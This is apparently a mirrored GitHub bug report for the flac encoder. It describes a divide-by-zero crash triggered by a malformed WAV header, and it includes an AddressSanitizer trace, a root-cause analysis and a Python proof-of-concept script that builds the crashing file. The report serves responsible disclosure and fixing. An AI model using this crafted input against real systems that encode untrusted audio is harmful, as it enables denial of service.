xiph / xiph/flac

[BUG] Memory error in `flac`

Open
#873 11 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
2.4k
Forks
363
PR merge metrics
No merged PRs in 30d

Description

Hi team, thanks for your great work and happy new year~

I think here;s a small memory error in flac, let me explain it

PoC

We can run the follwoing cmd

sigfpe.wav

./src/flac/flac sigfpe.wav
to trigger the crash

z5500277@katana3:~/flac $ ./src/flac/flac sigfpe.wav

flac git-afb801b2 20260122
Copyright (C) 2000-2009  Josh Coalson, 2011-2025  Xiph.Org Foundation
flac comes with ABSOLUTELY NO WARRANTY.  This is free software, and you are
welcome to redistribute it under certain conditions.  Type `flac' for details.

WARNING: RIFF chunk size of file sigfpe.wav does not agree with filesize
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1960112==ERROR: AddressSanitizer: FPE on unknown address 0x55749cfb9ad8 (pc 0x55749cfb9ad8 bp 0x7ffd31e79420 sp 0x7ffd31e79140 T0)
    #0 0x55749cfb9ad8 in flac__encode_file /home/z5500277/flac/src/flac/encode.c:967:65
    #1 0x55749cfd4766 in encode_file /home/z5500277/flac/src/flac/main.c:1763:12
    #2 0x55749cfd15bb in do_it /home/z5500277/flac/src/flac/main.c:570:8
    #3 0x55749cfd15bb in main /home/z5500277/flac/src/flac/main.c:382:13
    #4 0x7f84aa78e864 in __libc_start_main (/lib64/libc.so.6+0x3a864) (BuildId: 1faac7cdefc71ce73027e33a84650684eecd1635)
    #5 0x55749ced11dd in _start (/home/z5500277/flac/src/flac/flac+0x391dd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /home/z5500277/flac/src/flac/encode.c:967:65 in flac__encode_file
==1960112==ABORTING

The PoC can be generated with

import struct

def create_sigfpe_poc(filename):
    with open(filename, 'wb') as f:
        # RIFF Header
        f.write(b'RIFF')
        f.write(struct.pack('<I', 36 + 40 + 8)) # File size
        f.write(b'WAVE')

        # fmt chunk (WAVE_FORMAT_EXTENSIBLE)
        f.write(b'fmt ')
        f.write(struct.pack('<I', 40)) # Chunk size
        f.write(struct.pack('<H', 65534)) # wFormatTag
        f.write(struct.pack('<H', 1)) # channels
        f.write(struct.pack('<I', 44100)) # sample_rate
        f.write(struct.pack('<I', 44100)) # byte_rate
        f.write(struct.pack('<H', 1)) # block_align
        f.write(struct.pack('<H', 7)) # bps = 7
        
        # EXTENSIBLE extra data
        f.write(struct.pack('<H', 22)) # cbSize
        f.write(struct.pack('<H', 7)) # wValidBitsPerSample = 7
        f.write(struct.pack('<I', 0)) # dwChannelMask
        f.write(b'\x01\x00\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71') # SubFormat PCM

        # data chunk
        f.write(b'data')
        f.write(struct.pack('<I', 8)) # Data size
        f.write(b'\x00' * 8)

if __name__ == "__main__":
    create_sigfpe_poc("sigfpe.wav")
Root Cause

As in function get_sample_info_wave(), it read directly from user input
and calculate with the following code

e->info.bytes_per_wide_sample = channels * (bps / 8);
// channels  = 1, bps = 7

As 7/8 = 0 in C, it leads to e->info.bytes_per_wide_sample = 0
It lead to the FPE in function flac__encode_file

total_samples_in_input = encoder_session.fmt.iff.data_bytes / encoder_session.info.bytes_per_wide_sample;

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Reproduce the crash with the supplied sigfpe.wav and ./src/flac/flac sigfpe.wav, then inspect get_sample_info_wave() and the calculation at src/flac/encode.c:967 in flac__encode_file. Verify that malformed WAV input with zero bytes per sample no longer triggers the FPE and that normal WAV encoding remains functional.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
cli
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Stale
Clarity
Clearly specified
Newbie friendliness
52/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.